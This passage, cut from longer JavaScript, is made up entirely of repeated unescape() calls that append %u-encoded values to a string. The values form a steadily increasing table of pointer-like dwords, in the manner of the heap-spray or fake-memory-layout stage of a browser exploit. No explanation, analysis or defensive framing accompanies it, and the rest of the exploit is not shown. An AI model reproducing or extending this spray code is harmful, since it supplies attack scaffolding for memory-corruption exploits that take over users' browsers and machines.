unescape(\"%u0000%u3900%u0000%u3904%u0000%u3908%u0000%u390c%u0000%u3910%u0000%u3914%u0000%u3918%u0000%u391c%u0000%u3920%u0000%u3924%u0000%u3928%u0000%u392c%u0000%u3930%u0000%u3934%u0000%u3938%u0000%u393c\");\n    str    += unescape(\"%u0000%u3940%u0000%u3944%u0000%u3948%u0000%u394c%u0000%u3950%u0000%u3954%u0000%u3958%u0000%u395c%u0000%u3960%u0000%u3964%u0000%u3968%u0000%u396c%u0000%u3970%u0000%u3974%u0000%u3978%u0000%u397c\");\n    str    += unescape(\"%u0000%u3980%u0000%u3984%u0000%u3988%u0000%u398c%u0000%u3990%u0000%u3994%u0000%u3998%u0000%u399c%u0000%u39a0%u0000%u39a4%u0000%u39a8%u0000%u39ac%u0000%u39b0%u0000%u39b4%u0000%u39b8%u0000%u39bc\");\n    str    += unescape(\"%u0000%u39c0%u0000%u39c4%u0000%u39c8%u0000%u39cc%u0000%u39d0%u0000%u39d4%u0000%u39d8%u0000%u39dc%u0000%u39e0%u0000%u39e4%u0000%u39e8%u0000%u39ec%u0000%u39f0%u0000%u39f4%u0000%u39f8%u0000%u39fc\");\n    str    += unescape(\"%u0000%u3a00%u0000%u3a04%u0000%u3a08%u0000%u3a0c%u0000%u3a10%u0000%u3a14%u0000%u3a18%u0000%u3a1c%u0000%u3a20%u0000%u3a24%u0000%u3a28%u0000%u3a2c%u0000%u3a30%u0000%u3a34%u0000%u3a38%u0000%u3a3c\");\n    str    += unescape(\"%u0000%u3a40%u0000%u3a44%u0000%u3a48%u0000%u3a4c%u0000%u3a50%u0000%u3a54%u0000%u3a58%u0000%u3a5c%u0000%u3a60%u0000%u3a64%u0000%u3a68%u0000%u3a6c%u0000%u3a70%u0000%u3a74%u0000%u3a78%u0000%u3a7c\");\n    str    += unescape(\"%u0000%u3a80%u0000%u3a84%u0000%u3a88%u0000%u3a8c%u0000%u3a90%u0000%u3a94%u0000%u3a98%u0000%u3a9c%u0000%u3aa0%u0000%u3aa4%u0000%u3aa8%u0000%u3aac%u0000%u3ab0%u0000%u3ab4%u0000%u3ab8%u0000%u3abc\");\n    str    += unescape(\"%u0000%u3ac0%u0000%u3ac4%u0000%u3ac8%u0000%u3acc%u0000%u3ad0%u0000%u3ad4%u0000%u3ad8%u0000%u3adc%u0000%u3ae0%u0000%u3ae4%u0000%u3ae8%u0000%u3aec%u0000%u3af0%u0000%u3af4%u0000%u3af8%u0000%u3afc\");\n    str    += unescape(\"%u0000%u3b00%u0000%u3b04%u0000%u3b08%u0000%u3b0c%u0000%u3b10%u0000%u3b14%u0000%u3b18%u0000%u3b1c%u0000%u3b20%u0000%u3b24%u0000%u3b28%u0000%u3b2c%u0000%u3b30%u0000%u3b34%u0000%u3b38%u0000%u3b3c\");\n    str    += unescape(\"%u0000%u3b40%u0000%u3b44%u0000%u3b48%u0000%u3b4c%u0000%u3b50%u0000%u3b54%u0000%u3b58%u0000%u3b5c%u0000%u3b60%u0000%u3b64%u0000%u3b68%u0000%u3b6c%u0000%u3b70%u0000%u3b74%u0000%u3b78%u0000%u3b7c\");\n    str    += unescape(\"%u0000%u3b80%u0000%u3b84%u0000%u3b88%u0000%u3b8c%u0000%u3b90%u0000%u3b94%u0000%u3b98%u0000%u3b9c%u0000%u3ba0%u0000%u3ba4%u0000%u3ba8%u0000%u3bac%u0000%u3bb0%u0000%u3bb4%u0000%u3bb8%u0000%u3bbc\");\n    str    += unescape(\"%u0000%u3bc0%u0000%u3bc4%u0000%u3bc8%u0000%u3bcc%u0000%u3bd0%u0000%u3bd4%u0000%u3bd8%u0000%u3bdc%u0000%u3be0%u0000%u3be4%u0000%u3be8%u0000%u3bec%u0000%u3bf0%u0000%u3bf4%u0000%u3bf8%u0000%u3bfc\");\n    str    += unescape(\"%u0000%u3c00%u0000%u3c04%u0000%u3c08%u0000%u3c0c%u0000%u3c10%u0000%u3c14%u0000%u3c18%u0000%u3c1c%u0000%u3c20%u0000%u3c24%u0000%u3c28%u0000%u3c2c%u0000%u3c30%u0000%u3c34%u0000%u3c38%u0000%u3c3c\");\n    str    += unescape(\"%u0000%u3c40%u0000%u3c44%u0000%u3c48%u0000%u3c4c%u0000%u3c50%u0000%u3c54%u0000%u3c58%u0000%u3c5c%u0000%u3c60%u0000%u3c64%u0000%u3c68%u0000%u3c6c%u0000%u3c70%u0000%u3c74%u0000%u3c78%u0000%u3c7c\");\n    str    += unescape(\"%u0000%u3c80%u0000%u3c84%u0000%u3c88%u0000%u3c8c%u0000%u3c90%u0000%u3c94%u0000%u3c98%u0000%u3c9c%u0000%u3ca0%u0000%u3ca4%u0000%u3ca8%u0000%u3cac%u0000%u3cb0%u0000%u3cb4%u0000%u3cb8%u0000%u3cbc\");\n    str    += unescape(\"%u0000%u3cc0%u0000%u3cc4%u0000%u3cc8%u0000%u3ccc%u0000%u3cd0%u0000%u3cd4%u0000%u3cd8%u0000%u3cdc%u0000%u3ce0%u0000%u3ce4%u0000%u3ce8%u0000%u3cec%u0000%u3cf0%u0000%u3cf4%u0000%u3cf8%u0000%u3cfc\");\n    str    += unescape(\"%u0000%u3d00%u0000%u3d04%u0000%u3d08%u0000%u3d0c%u0000%u3d10%u0000%u3d14%u0000%u3d18%u0000%u3d1c%u0000%u3d20%u0000%u3d24%u0000%u3d28%u0000%u3d2c%u0000%u3d30%u0000%u3d34%u0000%u3d38%u0000%u3d3c\");\n    str    += unescape(\"%u0000%u3d40%u0000%u3d44%u0000%u3d48%u0000%u3d4c%u0000%u3d50%u0000%u3d54%u0000%u3d58%u0000%u3d5c%u0000%u3d60%u0000%u3d64%u0000%u3d68%u0000%u3d6c%u0000%u3d70%u0000%u3d74%u0000%u3d78%u0000%u3d7c\");\n    str    += unescape(\"%u0000%u3d80%u0000%u3d84%u0000%u3d88%u0000%u3d8c%u0000%u3d90%u0000%u3d94%u0000%u3d98%u0000%u3d9c%u0000%u3da0%u0000%u3da4%u0000%u3da8%u0000%u3dac%u0000%u3db0%u0000%u3db4%u0000%u3db8%u0000%u3dbc\");\n    str    += unescape(\"%u0000%u3dc0%u0000%u3dc4%u0000%u3dc8%u0000%u3dcc%u0000%u3dd0%u0000%u3dd4%u0000%u3dd8%u0000%u3ddc%u0000%u3de0%u0000%u3de4%u0000%u3de8%u0000%u3dec%u0000%u3df0%u0000%u3df4%u0000%u3df8%u0000%u3dfc\");\n    str    += unescape(\"%u0000%u3e00%u0000%u3e04%u0000%u3e08%u0000%u3e0c%u0000%u3e10%u0000%u3e14%u0000%u3e18%u0000%u3e1c%u0000%u3e20%u0000%u3e24%u0000%u3e28%u0000%u3e2c%u0000%u3e30%u0000%u3e34%u0000%u3e38%u0000%u3e3c\");\n    str    += unescape(\"%u0000%u3e40%u0000%u3e44%u0000%u3e48%u0000%u3e4c%u0000%u3e50%u0000%u3e54%u0000%u3e58%u0000%u3e5c%u0000%u3e60%u0000%u3e64%u0000%u3e68%u0000%u3e6c%u0000%u3e70%u0000%u3e74%u0000%u3e78%u0000%u3e7c\");\n    str    += unescape(\"%u0000%u3e80%u0000%u3e84%u0000%u3e88%u0000%u3e8c%u0000%u3e90%u0000%u3e94%u0000%u3e98%u0000%u3e9c%u0000%u3ea0%u0000%u3ea4%u0000%u3ea8%u0000%u3eac%u0000%u3eb0%u0000%u3eb4%u0000%u3eb8%u0000%u3ebc\");\n    str    += unescape(\"%u0000%u3ec0%u0000%u3ec4%u0000%u3ec8%u0000%u3ecc%u0000%u3ed0%u0000%u3ed4%u0000%u3ed8%u0000%u3edc%u0000%u3ee0%u0000%u3ee4%u0000%u3ee8%u0000%u3eec%u0000%u3ef0%u0000%u3ef4%u0000%u3ef8%u0000%u3efc\");\n    str    += unescape(\"%u0000%u3f00%u0000%u3f04%u0000%u3f08%u0000%u3f0c%u0000%u3f10%u0000%u3f14%u0000%u3f18%u0000%u3f1c%u0000%u3f20%u0000%u3f24%u0000%u3f28%u0000%u3f2c%u0000%u3f30%u0000%u3f34%u0000%u3f38%u0000%u3f3c\");\n    str    += unescape(\"%u0000%u3f40%u0000%u3f44%u0000%u3f48%u0000%u3f4c%u0000%u3f50%u0000%u3f54%u0000%u3f58%u0000%u3f5c%u0000%u3f60%u0000%u3f64%u0000%u3f68%u0000%u3f6c%u0000%u3f70%u0000%u3f74%u0000%u3f78%u0000%u3f7c\");\n    str    += unescape(\"%u0000%u3f80%u0000%u3f84%u0000%u3f88%u0000%u3f8c%u0000%u3f90%u0000%u3f94%u0000%u3f98%u0000%u3f9c%u0000%u3fa0%u0000%u3fa4%u0000%u3fa8%u0000%u3fac%u0000%u3fb0%u0000%u3fb4%u0000%u3fb8%u0000%u3fbc\");\n    str    += unescape(\"%u0000%u3fc0%u0000%u3fc4%u0000%u3fc8%u0000%u3fcc%u0000%u3fd0%u0000%u3fd4%u0000%u3fd8%u0000%u3fdc%u0000%u3fe0%u0000%u3fe4%u0000%u3fe8%u0000%u3fec%u0000%u3ff0%u0000%u3ff4%u0000%u3ff8%u0000%u3ffc\");\n    str    += unescape(\"%u0000%u4000%u0000%u4004%u0000%u4008%u0000%u400c%u0000%u4010%u0000%u4014%u0000%u4018%u0000%u401c%u0000%u4020%u0000%u4024%u0000%u4028%u0000%u402c%u0000%u4030%u0000%u4034%u0000%u4038%u0000%u403c\");\n    str    += unescape(\"%u0000%u4040%u0000%u4044%u0000%u4048%u0000%u404c%u0000%u4050%u0000%u4054%u0000%u4058%u0000%u405c%u0000%u4060%u0000%u4064%u0000%u4068%u0000%u406c%u0000%u4070%u0000%u4074%u0000%u4078%u0000%u407c\");\n    str    += unescape(\"%u0000%u4080%u0000%u4084%u0000%u4088%u0000%u408c%u0000%u4090%u0000%u4094%u0000%u4098%u0000%u409c%u0000%u40a0%u0000%u40a4%u0000%u40a8%u0000%u40ac%u0000%u40b0%u0000%u40b4%u0000%u40b8%u0000%u40bc\");\n    str    += unescape(\"%u0000%u40c0%u0000%u40c4%u0000%u40c8%u0000%u40cc%u0000%u40d0%u0000%u40d4%u0000%u40d8%u0000%u40dc%u0000%u40e0%u0000%u40e4%u0000%u40e8%u0000%u40ec%u0000%u40f0%u0000%u40f4%u0000%u40f8%u0000%u40fc\");\n    str    += unescape(\"%u0000%u4100%u0000%u4104%u0000%u4108%u0000%u410c%u0000%u4110%u0000%u4114%u0000%u4118%u0000%u411c%u0000%u4120%u0000%u4124%u0000%u4128%u0000%u412c%u0000%u4130%u0000%u4134%u0000%u4138%u0000%u413c\");\n    str    += unescape(\"%u0000%u4140%u0000%u4144%u0000%u4148%u0000%u414c%u0000%u4150%u0000%u4154%u0000%u4158%u0000%u415c%u0000%u4160%u0000%u4164%u0000%u4168%u0000%u416c%u0000%u4170%u0000%u4174%u0000%u4178%u0000%u417c\");\n    str    += unescape(\"%u0000%u4180%u0000%u4184%u0000%u4188%u0000%u418c%u0000%u4190%u0000%u4194%u0000%u4198%u0000%u419c%u0000%u41a0%u0000%u41a4%u0000%u41a8%u0000%u41ac%u0000%u41b0%u0000%u41b4%u0000%u41b8%u0000%u41bc\");\n    str    += unescape(\"%u0000%u41c0%u0000%u41c4%u0000%u41c8%u0000%u41cc%u0000%u41d0%u0000%u41d4%u0000%u41d8%u0000%u41dc%u0000%u41e0%u0000%u41e4%u0000%u41e8%u0000%u41ec%u0000%u41f0%u0000%u41f4%u0000%u41f8%u0000%u41fc\");\n    str    += unescape(\"%u0000%u4200%u0000%u4204%u0000%u4208%u0000%u420c%u0000%u4210%u0000%u4214%u0000%u4218%u0000%u421c%u0000%u4220%u0000%u4224%u0000%u4228%u0000%u422c%u0000%u4230%u0000%u4234%u0000%u4238%u0000%u423c\");\n    str    += unescape(\"%u0000%u4240%u0000%u4244%u0000%u4248%u0000%u424c%u0000%u4250%u0000%u4254%u0000%u4258%u0000%u425c%u0000%u4260%u0000%u4264%u0000%u4268%u0000%u426c%u0000%u4270%u0000%u4274%u0000%u4278%u0000%u427c\");\n    str    += unescape(\"%u0000%u4280%u0000%u4284%u0000%u4288%u0000%u428c%u0000%u4290%u0000%u4294%u0000%u4298%u0000%u429c%u0000%u42a0%u0000%u42a4%u0000%u42a8%u0000%u42ac%u0000%u42b0%u0000%u42b4%u0000%u42b8%u0000%u42bc\");\n    str    += unescape(\"%u0000%u42c0%u0000%u42c4%u0000%u42c8%u0000%u42cc%u0000%u42d0%u0000%u42d4%u0000%u42d8%u0000%u42dc%u0000%u42e0%u0000%u42e4%u0000%u42e8%u0000%u42ec%u0000%u42f0%u0000%u42f4%u0000%u42f8%u0000%u42fc\");\n    str    += unescape(\"%u0000%u4300%u0000%u4304%u0000%u4308%u0000%u430c%u0000%u4310%u0000%u4314%u0000%u4318%u0000%u431c%u0000%u4320%u0000%u4324%u0000%u4328%u0000%u432c%u0000%u4330%u0000%u4334%u0000%u4338%u0000%u433c\");\n    str    += unescape(\"%u0000%u4340%u0000%u4344%u0000%u4348%u0000%u434c%u0000%u4350%u0000%u4354%u0000%u4358%u0000%u435c%u0000%u4360%u0000%u4364%u0000%u4368%u0000%u436c%u0000%u4370%u0000%u4374%u0000%u4378%u0000%u437c\");\n    str    += unescape(\"%u0000%u4380%u0000%u4384%u0000%u4388%u0000%u438c%u0000%u4390%u0000%u4394%u0000%u4398%u0000%u439c%u0000%u43a0%u0000%u43a4%u0000%u43a8%u0000%u43ac%u0000%u43b0%u0000%u43b4%u0000%u43b8%u0000%u43bc\");\n    str    += unescape(\"%u0000%u43c0%u0000%u43c4%u0000%u43c8%u0000%u43cc%u0000%u43d0%u0000%u43d4%u0000%u43d8%u0000%u43dc%u0000%u43e0%u0000%u43e4%u0000%u43e8%u0000%u43ec%u0000%u43f0%u0000%u43f4%u0000%u43f8%u0000%u43fc\");\n    str    += unescape(\"%u0000%u4400%u0000%u4404%u0000%u4408%u0000%u440c%u0000%u4410%u0000%u4414%u0000%u4418%u0000%u441c%u0000%u4420%u0000%u4424%u0000%u4428%u0000%u442c%u0000%u4430%u0000%u4434%u0000%u4438%u0000%u443c\");\n    str    += unescape(\"%u0000%u4440%u0000%u4444%u0000%u4448%u0000%u444c%u0000%u4450%u0000%u4454%u0000%u4458%u0000%u445c%u0000%u4460%u0000%u4464%u0000%u4468%u0000%u446c%u0000%u4470%u0000%u4474%u0000%u4478%u0000%u447c\");\n    str    += unescape(\"%u0000%u4480%u0000%u4484%u0000%u4488%u0000%u448c%u0000%u4490%u0000%u4494%u0000%u4498%u0000%u449c%u0000%u44a0%u0000%u44a4%u0000%u44a8%u0000%u44ac%u0000%u44b0%u0000%u44b4%u0000%u44b8%u0000%u44bc\");\n    str    += unescape(\"%u0000%u44c0%u0000%u44c4%u0000%u44c8%u0000%u44cc%u0000%u44d0%u0000%u44d4%u0000%u44d8%u0000%u44dc%u0000%u44e0%u0000%u44e4%u0000%u44e8%u0000%u44ec%u0000%u44f0%u0000%u44f4%u0000%u44f8%u0000%u44fc\");\n    str    += unescape(\"%u0000%u4500%u0000%u4504%u0000%u4508%u0000%u450c%u0000%u4510%u0000%u4514%u0000%u4518%u0000%u451c%u0000%u4520%u0000%u4524%u0000%u4528%u0000%u452c%u0000%u4530%u0000%u4534%u0000%u4538%u0000%u453c\");\n    str    += unescape(\"%u0000%u4540%u0000%u4544%u0000%u4548%u0000%u454c%u0000%u4550%u0000%u4554%u0000%u4558%u0000%u455c%u0000%u4560%u0000%u4564%u0000%u4568%u0000%u456c%u0000%u4570%u0000%u4574%u0000%u4578%u0000%u457c\");\n    str    += unescape(\"%u0000%u4580%u0000%u4584%u0000%u4588%u0000%u458c%u0000%u4590%u0000%u4594%u0000%u4598%u0000%u459c%u0000%u45a0%u0000%u45a4%u0000%u45a8%u0000%u45ac%u0000%u45b0%u0000%u45b4%u0000%u45b8%u0000%u45bc\");\n    str    += unescape(\"%u0000%u45c0%u0000%u45c4%u0000%u45c8%u0000%u45cc%u0000%u45d0%u0000%u45d4%u0000%u45d8%u0000%u45dc%u0000%u45e0%u0000%u45e4%u0000%u45e8%u0000%u45ec%u0000%u45f0%u0000%u45f4%u0000%u45f8%u0000%u45fc\");\n    str    += unescape(\"%u0000%u4600%u0000%u4604%u0000%u4608%u0000%u460c%u0000%u4610%u0000%u4614%u0000%u4618%u0000%u461c%u0000%u4620%u0000%u4624%u0000%u4628%u0000%u462c%u0000%u4630%u0000%u4634%u0000%u4638%u0000%u463c\");\n    str    += unescape(\"%u0000%u4640%u0000%u4644%u0000%u4648%u0000%u464c%u0000%u4650%u0000%u4654%u0000%u4658%u0000%u465c%u0000%u4660%u0000%u4664%u0000%u4668%u0000%u466c%u0000%u4670%u0000%u4674%u0000%u4678%u0000%u467c\");\n    str    += unescape(\"%u0000%u4680%u0000%u4684%u0000%u4688%u0000%u468c%u0000%u4690%u0000%u4694%u0000%u4698%u0000%u469c%u0000%u46a0%u0000%u46a4%u0000%u46a8%u0000%u46ac%u0000%u46b0%u0000%u46b4%u0000%u46b8%u0000%u46bc\");\n    str    += unescape(\"%u0000%u46c0%u0000%u46c4%u0000%u46c8%u0000%u46cc%u0000%u46d0%u0000%u46d4%u0000%u46d8%u0000%u46dc%u0000%u46e0%u0000%u46e4%u0000%u46e8%u0000%u46ec%u0000%u46f0%u0000%u46f4%u0000%u46f8%u0000%u46fc\");\n    str    += unescape(\"%u0000%u4700%u0000%u4704%u0000%u4708%u0000%u470c%u0000%u4710%u0000%u4714%u0000%u4718%u0000%u471c%u0000%u4720%u0000%u4724%u0000%u4728%u0000%u472c%u0000%u4730%u0000%u4734%u0000%u4738%u0000%u473c\");\n    str    += unescape(\"%u0000%u4740%u0000%u4744%u0000%u4748%u0000%u474c%u0000%u4750%u0000%u4754%u0000%u4758%u0000%u475c%u0000%u4760%u0000%u4764%u0000%u4768%u0000%u476c%u0000%u4770%u0000%u4774%u0000%u4778%u0000%u477c\");\n    str    += unescape(\"%u0000%u4780%u0000%u4784%u0000%u4788%u0000%u478c%u0000%u4790%u0000%u4794%u0000%u4798%u0000%u479c%u0000%u47a0%u0000%u47a4%u0000%u47a8%u0000%u47ac%u0000%u47b0%u0000%u47b4%u0000%u47b8%u0000%u47bc\");\n    str    += unescape(\"%u0000%u47c0%u0000%u47c4%u0000%u47c8%u0000%u47cc%u0000%u47d0%u0000%u47d4%u0000%u47d8%u0000%u47dc%u0000%u47e0%u0000%u47e4%u0000%u47e8%u0000%u47ec%u0000%u47f0%u0000%u47f4%u0000%u47f8%u0000%u47fc\");\n    str    += unescape(\"%u0000%u4800%u0000%u4804%u0000%u4808%u0000%u480c%u0000%u4810%u0000%u4814%u0000%u4818%u0000%u481c%u0000%u4820%u0000%u4824%u0000%u4828%u0000%u482c%u0000%u4830%u0000%u4834%u0000%u4838%u0000%u483c\");\n    str    += unescape(\"%u0000%u4840%u0000%u4844%u0000%u4848%u0000%u484c%u0000%u4850%u0000%u4854%u0000%u4858%u0000%u485c%u0000%u4860%u0000%u4864%u0000%u4868%u0000%u486c%u0000%u4870%u0000%u4874%u0000%u4878%u0000%u487c\");\n    str    += unescape(\"%u0000%u4880%u0000%u4884%u0000%u4888%u0000%u488c%u0000%u4890%u0000%u4894%u0000%u4898%u0000%u489c%u0000%u48a0%u0000%u48a4%u0000%u48a8%u0000%u48ac%u0000%u48b0%u0000%u48b4%u0000%u48b8%u0000%u48bc\");\n    str    += unescape(\"%u0000%u48c0%u0000%u48c4%u0000%u48c8%u0000%u48cc%u0000%u48d0%u0000%u48d4%u0000%u48d8%u0000%u48dc%u0000%u48e0%u0000%u48e4%u0000%u48e8%u0000%u48ec%u0000%u48f0%u0000%u48f4%u0000%u48f8%u0000%u48fc\");\n    str    += unescape(\"%u0000%u4900%u0000%u4904%u0000%u4908%u0000%u490c%u0000%u4910%u0000%u4914%u0000%u4918%u0000%u491c%u0000%u4920%u0000%u4924%u0000%u4928%u0000%u492c%u0000%u4930%u0000%u4934%u0000%u4938%u0000%u493c\");\n    str    += unescape(\"%u0000%u4940%u0000%u4944%u0000%u4948%u0000%u494c%u0000%u4950%u0000%u4954%u0000%u4958%u0000%u495c%u0000%u4960%u0000%u4964%u0000%u4968%u0000%u496c%u0000%u4970%u0000%u4974%u0000%u4978%u0000%u497c\");\n    str    += unescape(\"%u0000%u4980%u0000%u4984%u0000%u4988%u0000%u498c%u0000%u4990%u0000%u4994%u0000%u4998%u0000%u499c%u0000%u49a0%u0000%u49a4%u0000%u49a8%u0000%u49ac%u0000%u49b0%u0000%u49b4%u0000%u49b8%u0000%u49bc\");\n    str    += unescape(\"%u0000%u49c0%u0000%u49c4%u0000%u49c8%u0000%u49cc%u0000%u49d0%u0000%u49d4%u0000%u49d8%u0000%u49dc%u0000%u49e0%u0000%u49e4%u0000%u49e8%u0000%u49ec%u0000%u49f0%u0000%u49f4%u0000%u49f8%u0000%u49fc\");\n    str    += unescape(\"%u0000%u4a00%u0000%u4a04%u0000%u4a08%u0000%u4a0c%u0000%u4a10%u0000%u4a14%u0000%u4a18%u0000%u4a1c%u0000%u4a20%u0000%u4a24%u0000%u4a28%u0000%u4a2c%u0000%u4a30%u0000%u4a34%u0000%u4a38%u0000%u4a3c\");\n    str    += unescape(\"%u0000%u4a40%u0000%u4a44%u0000%u4a48%u0000%u4a4c%u0000%u4a50%u0000%u4a54%u0000%u4a58%u0000%u4a5c%u0000%u4a60%u0000%u4a64%u0000%u4a68%u0000%u4a6c%u0000%u4a70%u0000%u4a74%u0000%u4a78%u0000%u4a7c\");\n    str    += unescape(\"%u0000%u4a80%u0000%u4a84%u0000%u4a88%u0000%u4a8c%u0000%u4a90%u0000%u4a94%u0000%u4a98%u0000%u4a9c%u0000%u4aa0%u0000%u4aa4%u0000%u4aa8%u0000%u4aac%u0000%u4ab0%u0000%u4ab4%u0000%u4ab8%u0000%u4abc\");\n    str    += unescape(\"%u0000%u4ac0%u0000%u4ac4%u0000%u4ac8%u0000%u4acc%u0000%u4ad0%u0000%u4ad4%u0000%u4ad8%u0000%u4adc%u0000%u4ae0%u0000%u4ae4%u0000%u4ae8%u0000%u4aec%u0000%u4af0%u0000%u4af4%u0000%u4af8%u0000%u4afc\");\n    str    += unescape(\"%u0000%u4b00%u0000%u4b04%u0000%u4b08%u0000%u4b0c%u0000%u4b10%u0000%u4b14%u0000%u4b18%u0000%u4b1c%u0000%u4b20%u0000%u4b24%u0000%u4b28%u0000%u4b2c%u0000%u4b30%u0000%u4b34%u0000%u4b38%u0000%u4b3c\");\n    str    += unescape(\"%u0000%u4b40%u0000%u4b44%u0000%u4b48%u0000%u4b4c%u0000%u4b50%u0000%u4b54%u0000%u4b58%u0000%u4b5c%u0000%u4b60%u0000%u4b64%u0000%u4b68%u0000%u4b6c%u0000%u4b70%u0000%u4b74%u0000%u4b78%u0000%u4b7c\");\n    str    += unescape(\"%u0000%u4b80%u0000%u4b84%u0000%u4b88%u0000%u4b8c%u0000%u4b90%u0000%u4b94%u0000%u4b98%u0000%u4b9c%u0000%u4ba0%u0000%u4ba4%u0000%u4ba8%u0000%u4bac%u0000%u4bb0%u0000%u4bb4%u0000%u4bb8%u0000%u4bbc\");\n    str    += unescape(\"%u0000%u4bc0%u0000%u4bc4%u0000%u4bc8%u0000%u4bcc%u0000%u4bd0%u0000%u4bd4%u0000%u4bd8%u0000%u4bdc%u0000%u4be0%u0000%u4be4%u0000%u4be8%u0000%u4bec%u0000%u4bf0%u0000%u4bf4%u0000%u4bf8%u0000%u4bfc\");\n    str    += unescape(\"%u0000%u4c00%u0000%u4c04%u0000%u4c08%u0000%u4c0c%u0000%u4c10%u0000%u4c14%u0000%u4c18%u0000%u4c1c%u0000%u4c20%u0000%u4c24%u0000%u4c28%u0000%u4c2c%u0000%u4c30%u0000%u4c34%u0000%u4c38%u0000%u4c3c\");\n    str    += unescape(\"%u0000%u4c40%u0000%u4c44%u0000%u4c48%u0000%u4c4c%u0000%u4c50%u0000%u4c54%u0000%u4c58%u0000%u4c5c%u0000%u4c60%u0000%u4c64%u0000%u4c68%u0000%u4c6c%u0000%u4c70%u0000%u4c74%u0000%u4c78%u0000%u4c7c\");\n    str    += unescape(\"%u0000%u4c80%u0000%u4c84%u0000%u4c88%u0000%u4c8c%u0000%u4c90%u0000%u4c94%u0000%u4c98%u0000%u4c9c%u0000%u4ca0%u0000%u4ca4%u0000%u4ca8%u0000%u4cac%u0000%u4cb0%u0000%u4cb4%u0000%u4cb8%u0000%u4cbc\");\n    str    += unescape(\"%u0000%u4cc0%u0000%u4cc4%u0000%u4cc8%u0000%u4ccc%u0000%u4cd0%u0000%u4cd4%u0000%u4cd8%u0000%u4cdc%u0000%u4ce0%u0000%u4ce4%u0000%u4ce8%u0000%u4cec%u0000%u4cf0%u0000%u4cf4%u0000%u4cf8%u0000%u4cfc\");\n    str    += unescape(\"%u0000%u4d00%u0000%u4d04%u0000%u4d08%u0000%u4d0c%u0000%u4d10%u0000%u4d14%u0000%u4d18%u0000%u4d1c%u0000%u4d20%u0000%u4d24%u0000%u4d28%u0000%u4d2c%u0000%u4d30%u0000%u4d34%u0000%u4d38%u0000%u4d3c\");\n    str    += unescape(\"%u0000%u4d40%u0000%u4d44%u0000%u4d48%u0000%u4d4c%u0000%u4d50%u0000%u4d54%u0000%u4d58%u0000%u4d5c%u0000%u4d60%u0000%u4d64%u0000%u4d68%u0000%u4d6c%u0000%u4d70%u0000%u4d74%u0000%u4d78%u0000%u4d7c\");\n    str    += unescape(\"%u0000%u4d80%u0000%u4d84%u0000%u4d88%u0000%u4d8c%u0000%u4d90%u0000%u4d94%u0000%u4d98%u0000%u4d9c%u0000%u4da0%u0000%u4da4%u0000%u4da8%u0000%u4dac%u0000%u4db0%u0000%u4db4%u0000%u4db8%u0000%u4dbc\");\n    str    += unescape(\"%u0000%u4dc0%u0000%u4dc4%u0000%u4dc8%u0000%u4dcc%u0000%u4dd0%u0000%u4dd4%u0000%u4dd8%u0000%u4ddc%u0000%u4de0%u0000%u4de4%u0000%u4de8%u0000%u4dec%u0000%u4df0%u0000%u4df4%u0000%u4df8%u0000%u4dfc\");\n    str    += unescape(\"%u0000%u4e00%u0000%u4e04%u0000%u4e08%u0000%u4e0c%u0000%u4e10%u0000%u4e14%u0000%u4e18%u0000%u4e1c%u0000%u4e20%u0000%u4e24%u0000%u4e28%u0000%u4e2c%u0000%u4e30%u0000%u4e34%u0000%u4e38%u0000%u4e3c\");\n    str    += unescape(\"%u0000%u4e40%u0000%u4e44%u0000%u4e48%u0000%u4e4c%u0000%u4e50%u0000%u4e54%u0000%u4e58%u0000%u4e5c%u0000%u4e60%u0000%u4e64%u0000%u4e68%u0000%u4e6c%u0000%u4e70%u0000%u4e74%u0000%u4e78%u0000%u4e7c\");\n    str    += unescape(\"%u0000%u4e80%u0000%u4e84%u0000%u4e88%u0000%u4e8c%u0000%u4e90%u0000%u4e94%u0000%u4e98%u0000%u4e9c%u0000%u4ea0%u0000%u4ea4%u0000%u4ea8%u0000%u4eac%u0000%u4eb0%u0000%u4eb4%u0000%u4eb8%u0000%u4ebc\");\n    str    += unescape(\"%u0000%u4ec0%u0000%u4ec4%u0000%u4ec8%u0000%u4ecc%u0000%u4ed0%u0000%u4ed4%u0000%u4ed8%u0000%u4edc%u0000%u4ee0%u0000%u4ee4%u0000%u4ee8%u0000%u4eec%u0000%u4ef0%u0000%u4ef4%u0000%u4ef8%u0000%u4efc\");\n    str    += unescape(\"%u0000%u4f00%u0000%u4f04%u0000%u4f08%u0000%u4f0c%u0000%u4f10%u0000%u4f14%u0000%u4f18%u0000%u4f1c%u0000%u4f20%u0000%u4f24%u0000%u4f28%u0000%u4f2c%u0000%u4f30%u0000%u4f34%u0000%u4f38%u0000%u4f3c\");\n    str    += unescape(\"%u0000%u4f40%u0000%u4f44%u0000%u4f48%u0000%u4f4c%u0000%u4f50%u0000%u4f54%u0000%u4f58%u0000%u4f5c%u0000%u4f60%u0000%u4f64%u0000%u4f68%u0000%u4f6c%u0000%u4f70%u0000%u4f74%u0000%u4f78%u0000%u4f7c\");\n    str    += unescape(\"%u0000%u4f80%u0000%u4f84%u0000%u4f88%u0000%u4f8c%u0000%u4f90%u0000%u4f94%u0000%u4f98%u0000%u4f9c%u0000%u4fa0%u0000%u4fa4%u0000%u4fa8%u0000%u4fac%u0000%u4fb0%u0000%u4fb4%u0000%u4fb8%u0000%u4fbc\");\n    str    += unescape(\"%u0000%u4fc0%u0000%u4fc4%u0000%u4fc8%u0000%u4fcc%u0000%u4fd0%u0000%u4fd4%u0000%u4fd8%u0000%u4fdc%u0000%u4fe0%u0000%u4fe4%u0000%u4fe8%u0000%u4fec%u0000%u4ff0%u0000%u4ff4%u0000%u4ff8%u0000%u4ffc\");\n    str    += unescape(\"%u0000%u5000%u0000%u5004%u0000%u5008%u0000%u500c%u0000%u5010%u0000%u5014%u0000%u5018%u0000%u501c%u0000%u5020%u0000%u5024%u0000%u5028%u0000%u502c%u0000%u5030%u0000%u5034%u0000%u5038%u0000%u503c\");\n    str    += unescape(\"%u0000%u5040%u0000%u5044%u0000%u5048%u0000%u504c%u0000%u5050%u0000%u5054%u0000%u5058%u0000%u505c%u0000%u5060%u0000%u5064%u0000%u5068%u0000%u506c%u0000%u5070%u0000%u5074%u0000%u5078%u0000%u507c\");\n    str    += unescape(\"%u0000%u5080%u0000%u5084%u0000%u5088%u0000%u508c%u0000%u5090%u0000%u5094%u0000%u5098%u0000%u509c%u0000%u50a0%u0000%u50a4%u0000%u50a8%u0000%u50ac%u0000%u50b0%u0000%u50b4%u0000%u50b8%u0000%u50bc\");\n    str    += 